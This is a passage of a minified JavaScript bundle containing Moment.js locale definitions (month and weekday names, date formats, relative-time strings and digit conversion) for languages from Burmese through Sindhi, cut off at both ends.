t={1:"၁",2:"၂",3:"၃",4:"၄",5:"၅",6:"၆",7:"၇",8:"၈",9:"၉",0:"၀"},a={"၁":"1","၂":"2","၃":"3","၄":"4","၅":"5","၆":"6","၇":"7","၈":"8","၉":"9","၀":"0"};e.defineLocale("my",{months:"ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"),monthsShort:"ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"),weekdays:"တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"),weekdaysShort:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),weekdaysMin:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ယနေ.] LT [မှာ]",nextDay:"[မနက်ဖြန်] LT [မှာ]",nextWeek:"dddd LT [မှာ]",lastDay:"[မနေ.က] LT [မှာ]",lastWeek:"[ပြီးခဲ့သော] dddd LT [မှာ]",sameElse:"L"},relativeTime:{future:"လာမည့် %s မှာ",past:"လွန်ခဲ့သော %s က",s:"စက္ကန်.အနည်းငယ်",ss:"%d စက္ကန့်",m:"တစ်မိနစ်",mm:"%d မိနစ်",h:"တစ်နာရီ",hh:"%d နာရီ",d:"တစ်ရက်",dd:"%d ရက်",M:"တစ်လ",MM:"%d လ",y:"တစ်နှစ်",yy:"%d နှစ်"},preparse:function(e){return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(a(381))},4924:function(e,t,a){!function(e){"use strict";e.defineLocale("nb",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"sø._ma._ti._on._to._fr._lø.".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] HH:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[forrige] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"noen sekunder",ss:"%d sekunder",m:"ett minutt",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dager",w:"en uke",ww:"%d uker",M:"en måned",MM:"%d måneder",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},6744:function(e,t,a){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},a={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};e.defineLocale("ne",{months:"जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"),monthsShort:"जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"),monthsParseExact:!0,weekdays:"आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"),weekdaysShort:"आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"),weekdaysMin:"आ._सो._मं._बु._बि._शु._श.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"Aको h:mm बजे",LTS:"Aको h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, Aको h:mm बजे",LLLL:"dddd, D MMMM YYYY, Aको h:mm बजे"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/राति|बिहान|दिउँसो|साँझ/,meridiemHour:function(e,t){return 12===e&&(e=0),"राति"===t?e<4?e:e+12:"बिहान"===t?e:"दिउँसो"===t?e>=10?e:e+12:"साँझ"===t?e+12:void 0},meridiem:function(e,t,a){return e<3?"राति":e<12?"बिहान":e<16?"दिउँसो":e<20?"साँझ":"राति"},calendar:{sameDay:"[आज] LT",nextDay:"[भोलि] LT",nextWeek:"[आउँदो] dddd[,] LT",lastDay:"[हिजो] LT",lastWeek:"[गएको] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%sमा",past:"%s अगाडि",s:"केही क्षण",ss:"%d सेकेण्ड",m:"एक मिनेट",mm:"%d मिनेट",h:"एक घण्टा",hh:"%d घण्टा",d:"एक दिन",dd:"%d दिन",M:"एक महिना",MM:"%d महिना",y:"एक बर्ष",yy:"%d बर्ष"},week:{dow:0,doy:6}})}(a(381))},9814:function(e,t,a){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),a="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),n=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl-be",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(a(381))},3901:function(e,t,a){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),a="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),n=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",w:"één week",ww:"%d weken",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(a(381))},3877:function(e,t,a){!function(e){"use strict";e.defineLocale("nn",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"),weekdaysShort:"su._må._ty._on._to._fr._lau.".split("_"),weekdaysMin:"su_må_ty_on_to_fr_la".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[I dag klokka] LT",nextDay:"[I morgon klokka] LT",nextWeek:"dddd [klokka] LT",lastDay:"[I går klokka] LT",lastWeek:"[Føregåande] dddd [klokka] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s sidan",s:"nokre sekund",ss:"%d sekund",m:"eit minutt",mm:"%d minutt",h:"ein time",hh:"%d timar",d:"ein dag",dd:"%d dagar",w:"ei veke",ww:"%d veker",M:"ein månad",MM:"%d månader",y:"eit år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},2135:function(e,t,a){!function(e){"use strict";e.defineLocale("oc-lnc",{months:{standalone:"genièr_febrièr_març_abril_mai_junh_julhet_agost_setembre_octòbre_novembre_decembre".split("_"),format:"de genièr_de febrièr_de març_d'abril_de mai_de junh_de julhet_d'agost_de setembre_d'octòbre_de novembre_de decembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._mai_junh_julh._ago._set._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"dimenge_diluns_dimars_dimècres_dijòus_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dm._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dm_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:"[uèi a] LT",nextDay:"[deman a] LT",nextWeek:"dddd [a] LT",lastDay:"[ièr a] LT",lastWeek:"dddd [passat a] LT",sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"unas segondas",ss:"%d segondas",m:"una minuta",mm:"%d minutas",h:"una ora",hh:"%d oras",d:"un jorn",dd:"%d jorns",M:"un mes",MM:"%d meses",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var a=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(a="a"),e+a},week:{dow:1,doy:4}})}(a(381))},5858:function(e,t,a){!function(e){"use strict";var t={1:"੧",2:"੨",3:"੩",4:"੪",5:"੫",6:"੬",7:"੭",8:"੮",9:"੯",0:"੦"},a={"੧":"1","੨":"2","੩":"3","੪":"4","੫":"5","੬":"6","੭":"7","੮":"8","੯":"9","੦":"0"};e.defineLocale("pa-in",{months:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),monthsShort:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),weekdays:"ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"),weekdaysShort:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),weekdaysMin:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),longDateFormat:{LT:"A h:mm ਵਜੇ",LTS:"A h:mm:ss ਵਜੇ",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm ਵਜੇ",LLLL:"dddd, D MMMM YYYY, A h:mm ਵਜੇ"},calendar:{sameDay:"[ਅਜ] LT",nextDay:"[ਕਲ] LT",nextWeek:"[ਅਗਲਾ] dddd, LT",lastDay:"[ਕਲ] LT",lastWeek:"[ਪਿਛਲੇ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ਵਿੱਚ",past:"%s ਪਿਛਲੇ",s:"ਕੁਝ ਸਕਿੰਟ",ss:"%d ਸਕਿੰਟ",m:"ਇਕ ਮਿੰਟ",mm:"%d ਮਿੰਟ",h:"ਇੱਕ ਘੰਟਾ",hh:"%d ਘੰਟੇ",d:"ਇੱਕ ਦਿਨ",dd:"%d ਦਿਨ",M:"ਇੱਕ ਮਹੀਨਾ",MM:"%d ਮਹੀਨੇ",y:"ਇੱਕ ਸਾਲ",yy:"%d ਸਾਲ"},preparse:function(e){return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g,(function(e){return a[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ਰਾਤ"===t?e<4?e:e+12:"ਸਵੇਰ"===t?e:"ਦੁਪਹਿਰ"===t?e>=10?e:e+12:"ਸ਼ਾਮ"===t?e+12:void 0},meridiem:function(e,t,a){return e<4?"ਰਾਤ":e<10?"ਸਵੇਰ":e<17?"ਦੁਪਹਿਰ":e<20?"ਸ਼ਾਮ":"ਰਾਤ"},week:{dow:0,doy:6}})}(a(381))},4495:function(e,t,a){!function(e){"use strict";var t="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),a="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),n=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function i(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function r(e,t,a){var n=e+" ";switch(a){case"ss":return n+(i(e)?"sekundy":"sekund");case"m":return t?"minuta":"minutę";case"mm":return n+(i(e)?"minuty":"minut");case"h":return t?"godzina":"godzinę";case"hh":return n+(i(e)?"godziny":"godzin");case"ww":return n+(i(e)?"tygodnie":"tygodni");case"MM":return n+(i(e)?"miesiące":"miesięcy");case"yy":return n+(i(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,n){return e?/D MMMM/.test(n)?a[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:r,m:r,mm:r,h:r,hh:r,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:r,M:"miesiąc",MM:r,y:"rok",yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},7971:function(e,t,a){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(a(381))},9520:function(e,t,a){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},6459:function(e,t,a){!function(e){"use strict";function t(e,t,a){var n=" ";return(e%100>=20||e>=100&&e%100==0)&&(n=" de "),e+n+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[a]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,w:"o săptămână",ww:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(a(381))},1793:function(e,t,a){!function(e){"use strict";function t(e,t){var a=e.split("_");return t%10==1&&t%100!=11?a[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?a[1]:a[2]}function a(e,a,n){return"m"===n?a?"минута":"минуту":e+" "+t({ss:a?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:a?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[n],+e)}var n=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:n,longMonthsParse:n,shortMonthsParse:n,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:a,m:a,mm:a,h:"час",hh:a,d:"день",dd:a,w:"неделя",ww:a,M:"месяц",MM:a,y:"год",yy:a},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,a){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(a(381))},950:function(e,t,a){!function(e){"use strict";var t=["جنوري","فيبروري","مارچ","اپريل","مئي","جون","جولاءِ","آگسٽ","سيپٽمبر","آڪٽوبر","نومبر","ڊسمبر"],a=["آچر","سومر","اڱارو","اربع","خميس","جمع","ڇنڇر"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:a,weekdaysShort:a,weekdaysMin:a,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,a){return e<12?"صبح":"شام"},calendar:{sameDay:"[اڄ] LT",nextDay:"[سڀاڻي] LT",nextWeek:"dddd [اڳين هفتي تي] LT",lastDay:"[ڪالهه] LT",lastWeek:"[گزريل هفتي] dddd [تي] LT",sameElse:"L"},relativeTime:{future:"%s پوء",past:"%s اڳ",s:"چند سيڪنڊ",ss:"%d سيڪنڊ",m:"هڪ منٽ",mm:"%d منٽ",h:"هڪ ڪلاڪ",hh:"%d ڪلاڪ",d:"هڪ ڏينهن",dd:"%d ڏينهن",M:"هڪ مهينو",MM:"%d مهينا",y:"هڪ سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(a(381))},490:function(e,t,a){!function(e){"use 